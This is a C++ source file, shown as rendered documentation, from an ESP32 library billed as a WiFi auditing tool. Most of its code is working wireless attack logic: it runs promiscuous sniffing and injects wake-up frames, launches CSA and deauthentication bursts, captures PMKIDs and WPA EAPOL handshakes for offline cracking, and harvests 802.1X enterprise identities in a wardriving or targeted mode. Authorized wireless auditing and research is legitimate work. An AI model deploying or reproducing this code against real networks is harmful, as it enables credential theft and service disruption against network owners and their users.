Politician 1.0.0
WiFi Auditing Library for ESP32
Loading...
Searching...
No Matches
Politician.cpp
Go to the documentation of this file.
1#include "Politician.h"
2#include <string.h>
3#include <esp_log.h>
4
5namespace politician {
6
7// ─── Static members ───────────────────────────────────────────────────────────
8Politician *Politician::_instance = nullptr;
9
10// Default 2.4GHz hopping sequence (channels 1-13)
11const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
12const uint8_t Politician::HOP_COUNT = sizeof(HOP_SEQ) / sizeof(HOP_SEQ[0]);
13
14// 5GHz channel helper - common channels in most regulatory domains
15static const uint8_t CHANNEL_5GHZ_COMMON[] = {
16 36, 40, 44, 48, // Band 1 (5.15-5.25 GHz) - Universally allowed
17 149, 153, 157, 161, 165 // Band 4 (5.73-5.85 GHz) - UNII-3, widely allowed
18};
19
20// Helper function to check if channel is valid
21static bool isValidChannel(uint8_t ch) {
22 // 2.4GHz channels (1-14)
23 if (ch >= 1 && ch <= 14) return true;
24
25 // 5GHz channels - check common channels
26 for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON); i++) {
27 if (ch == CHANNEL_5GHZ_COMMON[i]) return true;
28 }
29
30 // Additional 5GHz channels (52-144, DFS bands - use with caution)
31 if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144)) return true;
32
33 return false;
34}
35
36// ─── Constructor ──────────────────────────────────────────────────────────────
38 : _active(false), _channel(1), _rxChannel(1), _hopping(false),
39 _lastHopMs(0), _lastRssi(0), _hopIndex(0),
40 _m1Locked(false), _m1LockEndMs(0),
41 _probeLocked(false), _probeLockEndMs(0),
42 _customChannelCount(0),
43 _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
44 _logCb(nullptr), _ignoreCount(0),
45 _apCacheCount(0),
46 _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
47 _fishSsidLen(0), _fishChannel(1),
48 _fishAuthLogged(false), _fishAssocLogged(false),
49 _csaSecondBurstSent(false),
50 _attackMask(ATTACK_ALL),
51 _hasTarget(false), _targetChannel(1),
52 _capturedCount(0)
53{
54 _instance = this;
55 memset(&_stats, 0, sizeof(_stats));
56 memset(_sessions, 0, sizeof(_sessions));
57 memset(_apCache, 0, sizeof(_apCache));
58 memset(_captured, 0, sizeof(_captured));
59 memset(_targetBssid, 0, sizeof(_targetBssid));
60 memset(_fishBssid, 0, sizeof(_fishBssid));
61 memset(_fishSsid, 0, sizeof(_fishSsid));
62 memset(_ownStaMac, 0, sizeof(_ownStaMac));
63 memset(_ignoreList, 0, sizeof(_ignoreList));
64}
65
66// ─── Logging ─────────────────────────────────────────────────────────────────
67void Politician::_log(const char *fmt, ...) {
68 char buf[256];
69 va_list args;
70 va_start(args, fmt);
71 vsnprintf(buf, sizeof(buf), fmt, args);
72 va_end(args);
73
74 if (_logCb) {
75 _logCb(buf);
76 } else {
77 Serial.print(buf);
78 }
79}
80
81// ─── begin() ─────────────────────────────────────────────────────────────────
83 _cfg = cfg;
84 wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
85 if (esp_wifi_init(&wifi_cfg) != ESP_OK) return ERR_WIFI_INIT;
86 if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK) return ERR_WIFI_INIT;
87
88 if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK) return ERR_WIFI_INIT;
89
90 wifi_config_t ap_cfg = {};
91 const char *ap_ssid = "WiFighter";
92 memcpy(ap_cfg.ap.ssid, ap_ssid, strlen(ap_ssid));
93 ap_cfg.ap.ssid_len = (uint8_t)strlen(ap_ssid);
94 ap_cfg.ap.ssid_hidden = 1;
95 ap_cfg.ap.max_connection = 4;
96 ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
97 ap_cfg.ap.channel = 1;
98 ap_cfg.ap.beacon_interval = 1000;
99 if (esp_wifi_set_config(WIFI_IF_AP, &ap_cfg) != ESP_OK) return ERR_WIFI_INIT;
100
101 if (esp_wifi_start() != ESP_OK) return ERR_WIFI_INIT;
102
103 esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
104 _log("[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
105 _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
106 _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
107
108 esp_log_level_set("wifi", ESP_LOG_NONE);
109
110 wifi_promiscuous_filter_t filt = {
111 .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
112 };
113 if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK) return ERR_WIFI_INIT;
114 if (esp_wifi_set_promiscuous(true) != ESP_OK) return ERR_WIFI_INIT;
115 if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK) return ERR_WIFI_INIT;
116 if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK) return ERR_WIFI_INIT;
117
118 _log("[WiFi] Ready — monitor mode ch%d\n", _channel);
119 return OK;
120}
121
122// ─── Active gate ──────────────────────────────────────────────────────────────
123void Politician::setActive(bool active) {
124 _active = active;
125 _log("[WiFi] Capture %s\n", active ? "ACTIVE" : "IDLE");
126}
127
128// ─── Channel control ──────────────────────────────────────────────────────────
130 if (!isValidChannel(ch)) return ERR_INVALID_CH;
131 _channel = ch;
132 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
133 return OK;
134}
135
137 _hopping = false;
138 return setChannel(ch);
139}
140
141void Politician::setIgnoreList(const uint8_t (*bssids)[6], uint8_t count) {
142 _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
143 for (uint8_t i = 0; i < _ignoreCount; i++) {
144 memcpy(_ignoreList[i], bssids[i], 6);
145 }
146 _log("[WiFi] Ignore list updated: %d BSSIDs\n", _ignoreCount);
147}
148
150 for (int i = 0; i < MAX_CAPTURED; i++) {
151 _captured[i].active = false;
152 }
153 _capturedCount = 0;
154 _log("[WiFi] Captured list cleared\n");
155}
156
157void Politician::markCaptured(const uint8_t *bssid) {
158 if (_isCaptured(bssid)) return;
159 int slot = _capturedCount % MAX_CAPTURED;
160 _captured[slot].active = true;
161 memcpy(_captured[slot].bssid, bssid, 6);
162 _capturedCount++;
163 _log("[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X — won't re-capture\n",
164 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
165}
166
167void Politician::startHopping(uint16_t dwellMs) {
168 _hopping = true;
169 _active = true;
170 _hopIndex = 0;
171 _lastHopMs = millis();
172 if (dwellMs > 0) _cfg.hop_dwell_ms = dwellMs;
173 _log("[WiFi] Hopping started dwell=%dms\n", _cfg.hop_dwell_ms);
174}
175
177 _hopping = false;
178}
179
180// ─── Attack mask ──────────────────────────────────────────────────────────────
181void Politician::setAttackMask(uint8_t mask) {
182 _attackMask = mask;
183 _log("[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
184 !!(mask & ATTACK_PMKID), !!(mask & ATTACK_CSA), !!(mask & ATTACK_PASSIVE));
185}
186
187// ─── Target mode ──────────────────────────────────────────────────────────────
188Error Politician::setTarget(const uint8_t *bssid, uint8_t channel) {
189 if (_isCaptured(bssid)) return ERR_ALREADY_CAPTURED;
190
191 memcpy(_targetBssid, bssid, 6);
192 _targetChannel = channel;
193 _hasTarget = true;
194
195 for (int i = 0; i < MAX_AP_CACHE; i++) {
196 if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
197 _apCache[i].last_probe_ms = 0;
198 break;
199 }
200 }
201
202 _hopping = false;
203 _active = true;
204 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
205 _channel = channel;
206 _rxChannel = channel;
207 _log("[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
208 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
209
210 return OK;
211}
212
214 _hasTarget = false;
215 memset(_targetBssid, 0, 6);
216 _log("[WiFi] Target cleared — wardriving mode\n");
217}
218
219void Politician::setChannelList(const uint8_t *channels, uint8_t count) {
220 if (count == 0 || channels == nullptr) {
221 _customChannelCount = 0;
222 _hopIndex = 0;
223 _log("[WiFi] Channel list cleared — hopping all channels\n");
224 return;
225 }
226 _customChannelCount = 0;
227 for (uint8_t i = 0; i < count && i < POLITICIAN_MAX_CHANNELS; i++) {
228 if (isValidChannel(channels[i])) {
229 _customChannels[_customChannelCount++] = channels[i];
230 }
231 }
232 _hopIndex = 0;
233 _log("[WiFi] Channel list set: %d channels\n", _customChannelCount);
234}
235
236// ─── tick() ───────────────────────────────────────────────────────────────────
238 _processFishing();
239
240 static uint32_t lastDiagMs = 0;
241 uint32_t nowDiag = millis();
242 if (nowDiag - lastDiagMs >= 30000) {
243 lastDiagMs = nowDiag;
244 _log("[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu caps=%lu aps=%d lock=%s\n",
245 (unsigned long)_stats.total, (unsigned long)_stats.mgmt,
246 (unsigned long)_stats.data, (unsigned long)_stats.eapol,
247 (unsigned long)_stats.pmkid_found, (unsigned long)_stats.captures,
248 _apCacheCount,
249 _probeLocked ? "probe" : _m1Locked ? "m1" : "none");
250 }
251
252 if (!_hopping) return;
253 uint32_t now = millis();
254
255 if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
256 _probeLocked = false;
257 _lastHopMs = now;
258 }
259
260 if (_m1Locked && now >= _m1LockEndMs) {
261 _m1Locked = false;
262 _lastHopMs = now;
263 }
264
265 bool locked = _m1Locked || _probeLocked || _hasTarget;
266 if (!locked && (now - _lastHopMs >= _cfg.hop_dwell_ms)) {
267 const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
268 uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
269 _hopIndex = (_hopIndex + 1) % count;
270 _channel = seq[_hopIndex];
271 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
272 _lastHopMs = now;
273 _expireSessions(_cfg.session_timeout_ms);
274 }
275}
276
277// ─── Static promiscuous callback (IRAM) ──────────────────────────────────────
278void IRAM_ATTR Politician::_promiscuousCb(void *buf, wifi_promiscuous_pkt_type_t type) {
279 if (_instance) {
280 _instance->_handleFrame((const wifi_promiscuous_pkt_t *)buf, type);
281 }
282}
283
284void Politician::_handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
285 if (!_active) return;
286 if (!pkt) return;
287 uint16_t sig_len = pkt->rx_ctrl.sig_len;
288 if (sig_len < sizeof(ieee80211_hdr_t)) return;
289
290 _stats.total++;
291 _lastRssi = (int8_t)pkt->rx_ctrl.rssi;
292 _rxChannel = pkt->rx_ctrl.channel;
293
294 const ieee80211_hdr_t *hdr = (const ieee80211_hdr_t *)pkt->payload;
295 uint16_t fc = hdr->frame_ctrl;
296 uint16_t ftype = fc & FC_TYPE_MASK;
297 uint8_t fsub = fc & FC_SUBTYPE_MASK;
298
299 // --- Packet Logging Filter Hook ---
300 if (_packetCb && _cfg.capture_filter != 0) {
301 bool log_it = false;
302 if (ftype == FC_TYPE_MGMT) {
303 if (fsub == MGMT_SUB_BEACON && (_cfg.capture_filter & LOG_FILTER_BEACONS)) log_it = true;
304 else if ((fsub == MGMT_SUB_PROBE_REQ || fsub == MGMT_SUB_PROBE_RESP) && (_cfg.capture_filter & LOG_FILTER_PROBES)) log_it = true;
305 } else if (ftype == FC_TYPE_DATA && (_cfg.capture_filter & LOG_FILTER_HANDSHAKES)) {
306 uint16_t hdr_len = sizeof(ieee80211_hdr_t);
307 uint8_t subtype = fsub >> 4;
308 bool is_qos = (subtype >= 8 && subtype <= 11);
309 if (is_qos) {
310 hdr_len += 2;
311 if (fc & FC_ORDER_MASK) hdr_len += 4;
312 }
313 if (sig_len >= hdr_len + EAPOL_MIN_FRAME_LEN) {
314 const uint8_t *llc = pkt->payload + hdr_len;
315 if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
316 llc[6] == EAPOL_ETHERTYPE_HI && llc[7] == EAPOL_ETHERTYPE_LO) {
317 log_it = true;
318 }
319 }
320 }
321 if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, pkt->rx_ctrl.timestamp);
322 }
323 // ----------------------------------
324
325 if (type == WIFI_PKT_MGMT && ftype == FC_TYPE_MGMT) {
326 _stats.mgmt++;
327 uint16_t payload_off = sizeof(ieee80211_hdr_t);
328 if (sig_len > payload_off) {
329 _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
330 }
331 } else if (type == WIFI_PKT_DATA && ftype == FC_TYPE_DATA) {
332 _stats.data++;
333 uint8_t subtype = (fc & FC_SUBTYPE_MASK) >> 4;
334 uint16_t hdr_len = sizeof(ieee80211_hdr_t);
335 bool is_qos = (subtype >= 8 && subtype <= 11);
336 if (is_qos) {
337 hdr_len += 2;
338 if (fc & FC_ORDER_MASK) hdr_len += 4;
339 }
340 if (sig_len > hdr_len) {
341 _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
342 }
343 } else {
344 _stats.ctrl++;
345 }
346}
347
348void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload,
349 uint16_t len, int8_t rssi) {
350 uint8_t subtype = (hdr->frame_ctrl & FC_SUBTYPE_MASK);
351
352 // Parse both Beacons and Probe Responses.
353 // Sniffing Probe Responses automatically enables Active Decloaking
354 // of Hidden Networks when clients reconnect following a CSA/Deauth attack.
355 if (subtype == MGMT_SUB_BEACON || subtype == MGMT_SUB_PROBE_RESP) {
356 _stats.beacons++;
357 if (!_apFoundCb || len < 12) return;
358
359 const uint8_t *ie = payload + 12;
360 uint16_t ie_len = (len > 12) ? len - 12 : 0;
361
362 uint8_t beacon_ch = _rxChannel;
363 {
364 uint16_t pos = 0;
365 while (pos + 2 <= ie_len) {
366 uint8_t tag = ie[pos];
367 uint8_t tlen = ie[pos + 1];
368 if (pos + 2 + tlen > ie_len) break;
369 if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2]; break; }
370 pos += 2 + tlen;
371 }
372 }
373
374 ApRecord ap;
375 memcpy(ap.bssid, hdr->addr3, 6);
376 ap.channel = beacon_ch;
377 ap.rssi = rssi;
378 _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
379 ap.enc = _classifyEnc(ie, ie_len);
380 if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1; // WEP Privacy bit
381
382 // Execute targeting filter
383 if (_filterCb && !_filterCb(ap)) return;
384
385 _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch);
386 if (_apFoundCb) _apFoundCb(ap);
387
388 if (ap.ssid_len > 0 && beacon_ch > 0) {
389 if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0) return;
390
391 // --- CLIENT WAKE-UP STIMULATION ---
392 if (((hdr->frame_ctrl & FC_SUBTYPE_MASK) == MGMT_SUB_BEACON) && (_attackMask & ATTACK_STIMULATE)) {
393 for (int i = 0; i < MAX_AP_CACHE; i++) {
394 if (_apCache[i].active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
395 if (!_apCache[i].has_active_clients && (millis() - _apCache[i].last_stimulate_ms > 15000)) {
396 _apCache[i].last_stimulate_ms = millis();
397
398 // Hardware-Level Null Data Injection (FromDS=1, MoreData=1)
399 // Triggered exactly on the microsecond the sleeping client's radio turns on
400 uint8_t wake_null[24] = {
401 0x48, 0x22, 0x00, 0x00, // FC: Null Function, ToDS=0, FromDS=1, MoreData=1
402 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA: Broadcast
403 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // BSSID
404 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // SA
405 0x00, 0x00 // Sequence
406 };
407 esp_wifi_80211_tx(WIFI_IF_STA, wake_null, sizeof(wake_null), false);
408 _log("[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
409 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
410 }
411 break;
412 }
413 }
414 }
415 // ----------------------------------
416 }
417
418 bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
419 if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
420
421 if (canFish && _fishState == FISH_IDLE) {
422 if (_attackMask & ATTACK_PMKID) {
423 for (int i = 0; i < MAX_AP_CACHE; i++) {
424 if (!_apCache[i].active) continue;
425 if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0) continue;
426
427 if (_cfg.skip_immune_networks && _apCache[i].is_wpa3_only) {
428 break; // Skip attack for invincible network
429 }
430
431 uint32_t throttle_ms = _hasTarget ? 0u
432 : _apCache[i].has_active_clients ? 15000u
433 : (uint32_t)_cfg.probe_aggr_interval_s * 1000u;
434 uint32_t elapsed = millis() - _apCache[i].last_probe_ms;
435 if (elapsed >= throttle_ms) {
436 _apCache[i].last_probe_ms = millis();
437 _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
438 }
439 break;
440 }
441 } else if (_attackMask & (ATTACK_CSA | ATTACK_DEAUTH)) {
442 _fishState = FISH_CSA_WAIT;
443 _csaSecondBurstSent = false;
444 if (_attackMask & ATTACK_CSA) _sendCsaBurst();
445 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst();
446 memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] = '\0';
447 _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs = millis();
448 _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
449 _log("[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
450 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
451 }
452 }
453
454 } else if (subtype == 0xB0) {
455 if (len >= 6 && !_fishAuthLogged) {
456 uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
457 uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
458 if (auth_seq == 2) {
459 _fishAuthLogged = true;
460 _log("[AuthResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
461 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
462 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
463 }
464 }
465 } else if (subtype == MGMT_SUB_ASSOC_RESP) {
466 if (len < 6 || !_eapolCb) return;
467 const uint8_t *ie = payload + 6;
468 uint16_t ie_len = (len > 6) ? len - 6 : 0;
469 const uint8_t *bssid = hdr->addr2;
470 const uint8_t *sta = hdr->addr1;
471
472 uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
473 if (!_fishAssocLogged) {
474 _fishAssocLogged = true;
475 _log("[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
476 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
477 }
478 if (status != 0) return;
479
480 uint16_t pos = 0;
481 while (pos + 2 <= ie_len) {
482 uint8_t tag = ie[pos];
483 uint8_t tlen = ie[pos + 1];
484 if (pos + 2 + tlen > ie_len) break;
485 if (tag == 48 && tlen >= 20) {
486 const uint8_t *rsn = ie + pos + 2;
487 uint16_t rlen = tlen;
488 uint16_t off = 2; off += 4;
489 uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
490 off += 2 + pw_cnt * 4;
491 uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
492 off += 2 + akm_cnt * 4;
493 off += 2;
494 uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
495 off += 2;
496 if (pmkid_cnt > 0 && off + 16 <= rlen) {
497 _stats.pmkid_found++; _stats.captures++;
498 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
499 rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
500 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
501 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
502 memcpy(rec.pmkid, rsn + off, 16);
503 _log("[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
504 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
505 _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
506 if (_eapolCb) _eapolCb(rec);
507 }
508 }
509 pos += 2 + tlen;
510 }
511 }
512}
513
514void Politician::_handleData(const ieee80211_hdr_t *hdr, const uint8_t *payload,
515 uint16_t len, int8_t rssi) {
516 if (len < EAPOL_MIN_FRAME_LEN) return;
517 if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return;
518 if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00) return;
519 if (payload[6] != EAPOL_ETHERTYPE_HI || payload[7] != EAPOL_ETHERTYPE_LO) return;
520
521 _stats.eapol++;
522
523 bool toDS = (hdr->frame_ctrl & FC_TODS_MASK) != 0;
524 bool fromDS = (hdr->frame_ctrl & FC_FROMDS_MASK) != 0;
525
526 const uint8_t *bssid;
527 const uint8_t *sta;
528
529 if (toDS && !fromDS) {
530 bssid = hdr->addr1; sta = hdr->addr2;
531 } else if (!toDS && fromDS) {
532 bssid = hdr->addr2; sta = hdr->addr1;
533 } else {
534 bssid = hdr->addr3; sta = hdr->addr2;
535 }
536
537 const uint8_t *eapol = payload + EAPOL_LLC_SIZE;
538 uint16_t eapol_len = len - EAPOL_LLC_SIZE;
539
540 if (eapol_len >= 4) {
541 if (eapol[1] == 0x00 && _identityCb != nullptr) {
542 // Decoupled 802.1X Enterprise Identity Interception
543 _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
544 } else if (eapol[1] == 0x03) {
545 // Standard WPA2/WPA3 EAPOL-Key Handshake Layer
546 _parseEapol(bssid, sta, eapol, eapol_len, rssi);
547 }
548 }
549}
550
551bool Politician::_parseEapol(const uint8_t *bssid, const uint8_t *sta,
552 const uint8_t *eapol, uint16_t len, int8_t rssi) {
553 if (_isCaptured(bssid)) return false;
554 if (len < 4 || eapol[1] != 0x03) return false;
555
556 const uint8_t *key = eapol + 4;
557 uint16_t key_len = len - 4;
558 if (key_len < EAPOL_KEY_DATA_LEN + 2) return false;
559
560 uint16_t key_info = ((uint16_t)key[EAPOL_KEY_INFO] << 8) | key[EAPOL_KEY_INFO + 1];
561 bool is_pairwise = (key_info & KEYINFO_PAIRWISE) != 0;
562 if (!is_pairwise) return false;
563
564 uint8_t msg = 0;
565 if ( (key_info & KEYINFO_ACK) && !(key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL)) msg = 1;
566 else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && !(key_info & KEYINFO_SECURE)) msg = 2;
567 else if ((key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && (key_info & KEYINFO_INSTALL)) msg = 3;
568 else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && (key_info & KEYINFO_SECURE)) msg = 4;
569
570 if (msg == 0) return false;
571
572 _log("[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
573 msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
574
575 if (msg == 3 || msg == 4) {
576 for (int i = 0; i < MAX_AP_CACHE; i++) {
577 if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
578 if (!_apCache[i].has_active_clients) {
579 _apCache[i].has_active_clients = true;
580 _log("[Hot] Active client on %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
581 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _apCache[i].ssid);
582 }
583 break;
584 }
585 }
586 return true;
587 }
588
589 Session *sess = _findSession(bssid, sta);
590 if (!sess) sess = _createSession(bssid, sta);
591 if (!sess) return false;
592
593 sess->channel = _rxChannel; sess->rssi = rssi;
594
595 if (msg == 1) {
596 bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
597 if (!isOurFishM1 && !(_attackMask & ATTACK_PASSIVE)) return false;
598
599 if (key_len < EAPOL_KEY_NONCE + 32) return false;
600 memcpy(sess->anonce, key + EAPOL_KEY_NONCE, 32);
601 sess->has_m1 = true;
602
603 if (_hopping && !_m1Locked) {
604 _probeLocked = false; _m1Locked = true;
605 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
606 }
607 if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs = millis() + _cfg.m1_lock_ms;
608
609 uint16_t kdata_len = ((uint16_t)key[EAPOL_KEY_DATA_LEN] << 8) | key[EAPOL_KEY_DATA_LEN + 1];
610 if (kdata_len >= 18 && key_len >= EAPOL_KEY_DATA + kdata_len) {
611 const uint8_t *kdata = key + EAPOL_KEY_DATA;
612 for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
613 if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
614 _stats.pmkid_found++; _stats.captures++;
615 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
616 rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
617 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
618 memcpy(rec.ssid, sess->ssid, sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
619 memcpy(rec.pmkid, kdata + i + 6, 16);
620 _log("[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
621 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
622 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
623 if (_eapolCb) _eapolCb(rec);
624 break;
625 }
626 }
627 }
628 } else if (msg == 2) {
629 if (memcmp(sta, _ownStaMac, 6) == 0) return false;
630 if (key_len < EAPOL_KEY_MIC + 16) return false;
631 memcpy(sess->mic, key + EAPOL_KEY_MIC, 16);
632 uint16_t store_len = (len < 256) ? len : 256;
633 memcpy(sess->eapol_m2, eapol, store_len); sess->eapol_m2_len = store_len;
634 if (store_len >= 4 + EAPOL_KEY_MIC + 16) memset(sess->eapol_m2 + 4 + EAPOL_KEY_MIC, 0, 16);
635
636 bool is_new_m2 = !sess->has_m2;
637 sess->has_m2 = true;
638
639 if (sess->has_m1) {
640 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
641 rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
642 rec.channel = sess->channel; rec.rssi = sess->rssi;
643 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
644 rec.ssid_len = sess->ssid_len; memcpy(rec.anonce, sess->anonce, 32);
645 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_m2, sess->eapol_m2_len);
646 rec.eapol_m2_len = sess->eapol_m2_len; rec.has_anonce = true; rec.has_mic = true;
647 _log("[EAPOL] Complete M1+M2 for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
648 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
649 _stats.captures++; _m1Locked = false;
650 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
651 if (_eapolCb) _eapolCb(rec);
652 sess->active = false;
653 }
654 }
655 return true;
656}
657
658void Politician::_parseEapIdentity(const uint8_t *bssid, const uint8_t *sta,
659 const uint8_t *eapol, uint16_t len, int8_t rssi) {
660 // EAP Header starts at eapol+4. Minimum needed: Code(1), Id(1), Len(2), Type(1)
661 if (len < 9) return;
662
663 // EAP Code Check (We want 2 = Response)
664 if (eapol[4] != 0x02) return;
665
666 // EAP Type Check (We want 1 = Identity)
667 if (eapol[8] != 0x01) return;
668
669 uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
670 if (eap_len < 5) return;
671
672 // The plaintext Identity string is defined as everything after the Type byte.
673 uint16_t id_len = eap_len - 5;
674
675 // Safety boundary check
676 if (9 + id_len > len) return;
677
678 EapIdentityRecord rec;
679 memset(&rec, 0, sizeof(rec));
680 memcpy(rec.bssid, bssid, 6);
681 memcpy(rec.client, sta, 6);
682 rec.channel = _rxChannel;
683 rec.rssi = rssi;
684
685 uint16_t copy_len = (id_len < 64) ? id_len : 64;
686 memcpy(rec.identity, eapol + 9, copy_len);
687 rec.identity[copy_len] = '\0';
688
689 _log("[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
690 rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
691
692 _identityCb(rec);
693}
694
